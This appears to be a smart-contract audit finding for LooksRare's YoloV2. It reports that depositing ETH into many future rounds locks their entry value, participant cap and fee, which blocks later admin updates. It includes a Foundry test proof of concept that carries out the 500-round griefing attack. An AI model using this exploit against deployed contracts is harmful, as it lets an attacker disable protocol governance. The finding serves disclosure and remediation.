Immense Caramel Grasshopper

medium

# `depositETHIntoMultipleRounds` can render admin functions `updateMaximumNumberOfParticipantsPerRound`, `updateValuePerEntry` and `updateProtocolFeeBp` useless



## Summary

The  `depositETHIntoMultipleRounds` function allows users to deposit ETH (Native Asset) to current and future rounds. This in turn sets the future rounds maximum number of participants, value per entry and protocol fee bp to the value of the currently set values leaving no room for the admin functions to update the any of these params as rounds progress even though there are functions built to do so.

## Vulnerability Detail

The vulnerability occurs in the  `depositETHIntoMultipleRounds`
It checks to see if the value per entry for the current or future round in the loop is set and if it isnt, its sets it to the current roundValuePerEntry to whatever the currently set state value per entry is, same goes for the max number of participants and protocol Fee Bp in the `_writeDataToRound` function.

```javascript
    function depositETHIntoMultipleRounds(uint256[] calldata amounts) external payable nonReentrant whenNotPaused {
        // code above
        // ...

        if (roundValuePerEntry == 0) {
            (,, roundValuePerEntry) = _writeDataToRound({roundId: roundId, roundValue: 0});
        }
        // ...
        // code below
    }
```

What this does is essentially setting the future rounds max number of participants, value per entry and protocol fee bp without a way to change it for the rounds.

There are functions `updateMaximumNumberOfParticipantsPerRound`, `updateValuePerEntry` and `updateProtocolFeeBp` established to do this but they would never change the value for the round no matter how many times you call them because they update the state variable of the value and not the round specific value used in round calculations.

So an attacker could easily deposit into many rounds into the future and restrict the admins from being able to update round parameters as desired.

#### POC

```javascript
    function test_DepositETHIntoMultipleRounds__RendersSomeAdminFunctionalityUseless() public {
        // Admin Functionalities In POC Scope Rendered Useless:
        // 1. updateMaximumNumberOfParticipantsPerRound
        // 2. updateValuePerEntry
        // 3. updateProtocolFeeBp

        // round Id's
        uint256 roundOne = 1;

        // deployed set params
        uint40 deployedMaxNumberOfParticipants = MAXIMUM_NUMBER_OF_PARTICIPANTS_PER_ROUND;
        uint16 deployedProtocolFeeBp = 300;
        uint96 deployedValuePerEntry = 0.01 ether;

        // making sure the round one keeps the deployed params
        (, uint40 roundOneMaximumNumberOfParticipants, uint16 roundOneProtocolFeeBp,,,,, uint96 roundOneValuePerEntry,,)
        = yolo.getRound(roundOne);
        assertEq(roundOneMaximumNumberOfParticipants, deployedMaxNumberOfParticipants);
        assertEq(roundOneProtocolFeeBp, deployedProtocolFeeBp);
        assertEq(roundOneValuePerEntry, deployedValuePerEntry);

        // attack prep
        uint256 numberOfRoundsToRenderAdminFunctionUseless = 500;
        uint256 justAboveValuePerEntryAmount = 0.02 ether;
        uint256 balanceToDealToCoverAttack = justAboveValuePerEntryAmount * numberOfRoundsToRenderAdminFunctionUseless;

        uint256[] memory amounts = new uint256[](numberOfRoundsToRenderAdminFunctionUseless);
        for (uint256 m; m < numberOfRoundsToRenderAdminFunctionUseless; m++) {
            amounts[m] = justAboveValuePerEntryAmount;
        }

        vm.deal(user1, balanceToDealToCoverAttack);

        // this call makes all future rounds admin functionalities thats in scope for this POC useless
        // it sets a value per entry on each round which cant be changed by the admins
        vm.prank(user1);
        yolo.depositETHIntoMultipleRounds{value: balanceToDealToCoverAttack}(amounts);

        uint96 newValuePerEntry = 0.02 ether;
        uint40 newMaximumNumberOfParticipants = MAXIMUM_NUMBER_OF_PARTICIPANTS_PER_ROUND + 20;
        uint16 newProtocolFeeBp = 500;

        for (uint256 i; i < numberOfRoundsToRenderAdminFunctionUseless; i++) {
            // update for new rounds: max number of participants, protocol fee bp, value per entry
            // they'll never reflect in these rounds until the next `numberOfRoundsToRenderAdminFunctionUseless`
            vm.startPrank(owner);
            yolo.updateValuePerEntry(newValuePerEntry);
            yolo.updateProtocolFeeBp(newProtocolFeeBp);
            yolo.updateMaximumNumberOfParticipantsPerRound(newMaximumNumberOfParticipants);
            vm.stopPrank();

            // move to next round
            _cancelRound();
        }

        _handlePOCAssertions(deployedMaxNumberOfParticipants, deployedProtocolFeeBp, deployedValuePerEntry);
    }

    function _handlePOCAssertions(
        uint40 deployedMaxNumberOfParticipants,
        uint16 deployedProtocolFeeBp,
        uint96 deployedValuePerEntry
    ) internal {
        uint256 roundHundredAndNinetySeven = 197;

        // ROUND HUNDRED AND NINETY SEVEN
        (, uint40 round197MaxParticipants, uint16 round197ProtocolFeeBp,,,,, uint96 round197ValuePerEntryOne,,) =
            yolo.getRound(roundHundredAndNinetySeven);

        assertEq(round197MaxParticipants, deployedMaxNumberOfParticipants);
        assertEq(round197ProtocolFeeBp, deployedProtocolFeeBp);
        assertEq(round197ValuePerEntryOne, deployedValuePerEntry);
    }

```

## Impact
Medium
`updateMaximumNumberOfParticipantsPerRound`, `updateValuePerEntry` and `updateProtocolFeeBp` that were created to update value per entry for rounds for a set amount of rounds that the attacker wishes.
Lets assume the attacker renders this function useless for the next 500 rounds and admins are eventually able get the updates they want after 500 rounds. 
The attacker can simly do the same for the next 500 rounds meaning admins again would have to wait for the next 500 rounds for an update to reflect.
Considering deployment to also take place on chains that are cost friendly this wont cost the attacker much.

## Code Snippet

Vulnerability lies in the for loop of the `depositETHIntoMultipleRounds` funciton.

Link To Code Snippet [Here](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L332)

## Tool used

Manual Review

## Recommendation

The `depositETHIntoMultipleRounds` can have a limit on the number of future rounds a user can enter OR the `updateMaximumNumberOfParticipantsPerRound`, `updateValuePerEntry` and `updateProtocolFeeBp` can take in a round parameter and be specific about which round value per entry its updating.
